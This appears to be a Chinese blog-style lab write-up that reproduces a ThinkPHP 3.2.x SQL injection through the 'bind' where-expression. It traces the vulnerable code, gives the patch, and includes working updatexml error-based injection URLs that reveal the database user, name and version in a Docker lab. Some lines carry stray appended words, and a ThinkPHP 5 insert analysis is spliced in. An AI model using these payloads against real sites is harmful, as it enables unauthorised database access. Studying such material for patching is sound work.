ref:https://www.jianshu.com/p/18d06277161ephp
ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的一次漏洞復現做業html
-------------------------------------------------------------sql
這是poc:http://192.168.3.6/Home/Index/readcategorymsg?category[0]=bind&category[1]=0%20and(updatexml(1,concat(0x7e,(user())),0))docker
category是數組:
0:"bind"
1:"0 and(updatexml(1,concat(0x7e,(user())),0))" thinkphp
出錯堆棧信息:
#0 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(350): E('1105:XPATH synt...')。
#1 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(237): Think\Db\Driver->error()
#2 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): Think\Db\Driver->execute('UPDATE `vulapps...', false)
UPDATE `vulapps_message` SET `is_read`='1' WHERE `category` = '1' and(updatexml(1,concat(0x7e,(user())),0))//儘管前面爲false,可是後面任然要執行。這次報錯:XPATH syntax error: '~root@localhost'。數據庫
/var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): public function update($data,$options)
sql語句:return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);ubuntu
UPDATE `vulapps_message` SET `is_read`=:0 WHERE `category` = :0 and(updatexml(1,concat(0x7e,(user())),0))數組
漏洞代碼:bash
protected function parseWhereItem($key,$val)//category,array(2) { [0]=...
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);//array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } ,則exp=bind
}elseif('bind' == $exp ){ //
$whereStr .= $key.' = :'.$val[1];//$whereStr.=category=:0 and (updatexml...)此處將:0拼接進去,爲後面pdo參數替換製造了機會。
這裏能夠看出來若是where是一個數組的話,而且第一個元素爲bind,那麼直接就進行了拼接操做,分析到這裏咱們看看I函數的過濾限制並無將bind排除。app
#3 /var/www/html/ThinkPHP/Library/Think/Model.class.php(451): Think\Db\Driver->update(Array, Array)
$result = $this->db->update($data,$options);
echo var_dump($data):
array(1) { ["is_read"]=> int(1) } array(3) { ["where"]=> array(1) { ["category"]=> array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } } ["table"]=> string(15) "vulapps_message" ["model"]=> string(7) "message" }
#4 /var/www/html/Application/Home/Controller/IndexController.class.php(18): Think\Model->save(Array)
public function readcategorymsg(){
$condition['category'] = I("category");
$data['is_read'] = 1;
$res = M("message")->where($condition)->save($data);
echo var_dump($condition['category'])."<br>";
array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" }
#5 [internal function]: Home\Controller\IndexController->readcategorymsg()
#6 /var/www/html/ThinkPHP/Library/Think/App.class.php(173):
補丁方法:在I函數增長bind過濾。
function think_filter(&$value){ if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i',$value)){$value.=' ';}
-------------------------------------------------------------
漏洞環境:docker
漏洞分析
首先,咱們知道insert 方法存在漏洞,那就查看 insert 方法的具體實現。
該方法位於thinkphp\library\think\db\Builder.php 文件中,咱們能夠看到在函數開頭調用了 parseData 方法,並將 $data 做爲參數傳入, $data 的值是咱們經過 get方式傳入的一個數組類型的數據,以下圖:
咱們跟進parseData方法,該方法也在 thinkphp\library\think\db\Builder.php 文件中。
能夠看到,在結尾處有個switch語句,並且進入該語句後,會跳到case 'inc'的地方,這裏關鍵就是看看 $this->parseKey 是否有對 $val[1] 變量進行過濾了;
由於$val[1]變量就是咱們payload中的updatexml(1,concat(0x7,user(),0x7e),1) ,以下圖:
繼續跟進parseValue 方法,會發現直接將傳入的 $key 返回了,沒有進行任何過濾。
咱們再回到最開始的insert 方法,加上調試語句,看看此時的sql語句變成了什麼樣子,以下圖:
另外一處update函數的注入與這個insert是相似的。
使用docker搭建漏洞環境
1.拉取鏡像到本地
docker pull medicean/vulapps:t_thinkphp_1
2.啓動環境
docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1
-p 80:80 前面的 80 表明物理機的端口,可隨意指定。
使用和利用
訪問 http://192.168.0.104:80/, 假設啓動的端口號爲 80
出現下圖環境搭建成功了
點擊標記已讀:可使用burp抓包獲得URL
http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF
存在漏洞的地方:category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF
POC:
http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))
使用上面POC可直接獲取到數據庫用戶名
爆出數據庫用戶名:root@localhost
http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))
經過database(),報錯回顯一個數據庫:vulapps
http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))
爆出數據庫版本:5.5.57-0ubuntu0.14.04.1
網上找了些資料,但仍是對這個不是很懂,原本想構造一個語句看看是否能獲取到數據庫中的帳戶和密碼,結果發現沒法使用(尷尬..)
對上面的這段POC不算很懂,只能看出大概就是經過user()這裏修改能夠獲取到數據庫用戶和版本
參考資料: